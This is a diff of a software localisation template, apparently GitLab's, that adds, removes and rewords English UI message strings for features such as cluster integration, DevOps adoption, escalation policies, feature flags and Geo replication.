msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
